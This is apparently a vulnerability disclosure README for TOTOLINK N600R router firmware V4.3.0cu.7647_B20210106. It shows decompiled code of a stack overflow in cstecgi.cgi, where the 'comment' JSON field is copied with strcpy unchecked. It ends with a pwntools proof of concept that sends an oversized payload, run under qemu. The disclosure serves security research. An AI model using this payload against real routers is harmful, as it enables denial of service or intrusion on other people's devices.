d1tto add n600r ... on Apr 15 History

..

img	8 months ago
readme.md	8 months ago

readme.md

Overview

- The device's official website: http://www.totolink.cn/home/menu/newstpl.html?menu_newstpl=products&id=2
- Firmware download website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=2&ids=36

Affected version

V4.3.0cu.7647_B20210106

Vulnerability details

The vulnerability exists in the router's WEB component. `/web_cste/cgi-bin/cstecgi.cgi` `FUN_00418f10` (at address 0x418f10) gets the JSON parameter `comment`, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

```
Decompile: FUN_00418f10 -  (cstecgi_not_test.cgi)
16   undefined4 local_70;
17   undefined4 local_6c;
18   undefined4 local_68;
19   undefined4 local_64;
20   undefined4 local_60;
21   undefined4 local_5c;
22   undefined2 local_58;
23   undefined4 local_54;
24   undefined4 local_50;
25   undefined4 local_4c;
26   undefined4 local_48;
27   undefined4 local_44;
28   undefined4 local_40;
29   undefined4 local_3c;
30   undefined4 local_38;
31   undefined4 local_34;
32   undefined4 local_30;
33   undefined4 local_2c;
34   undefined2 local_28;
35   undefined local_26;
36
37   pcVar1 = (char *)websGetVar(param_1,"addEffect","0");
38   iVar2 = atoi(pcVar1);
39   pcVar1 = (char *)websGetVar(param_1,"enable","0");
40   local_78 = atoi(pcVar1);
41   pcVar1 = (char *)websGetVar(param_1,"ipAddress","");
42   __s1 = (char *)websGetVar(param_1,"protocol","");
43   __src = (char *)websGetVar(param_1,"comment","");
44   __nptr = (char *)websGetVar(param_1,"dFromPort","0");
45   __nptr_00 = (char *)websGetVar(param_1,"dToPort","");
46   local_74 = 0;
47   local_70 = 0;
48   local_6c = 0;
```

```
96     }
97     strcpy((char *)((int)&local_6c + 1),__src);
98     apmib_set(0x20078,&local_74);
99     apmib_set(0x10077,&local_74);
100  }
```

POC

```
from pwn import *
import json

data = {
    "topicurl": "setting/setIpPortFilterRules",
    "addEffect": "0",
    "ipAddress": "192.168.2.1",
    "comment": "A"*0x200,
    "dFromPort": "8888",
    "dToPort": "9999"
}
```

```
    data = json.dumps(data)
    print(data)

    argv = [
        "qemu-mips-static",
        "-g", "1234",
        "-L", "./lib",
        "-E", "LD_PRELOAD=./hook.so",
        "-E", "CONTENT_LENGTH={}".format(len(data)),
        "-E", "REMOTE_ADDR=192.168.2.1",
        "./cstecgi.cgi"
    ]

    a = process(argv=argv)

    a.sendline(data.encode())

    a.interactive()
```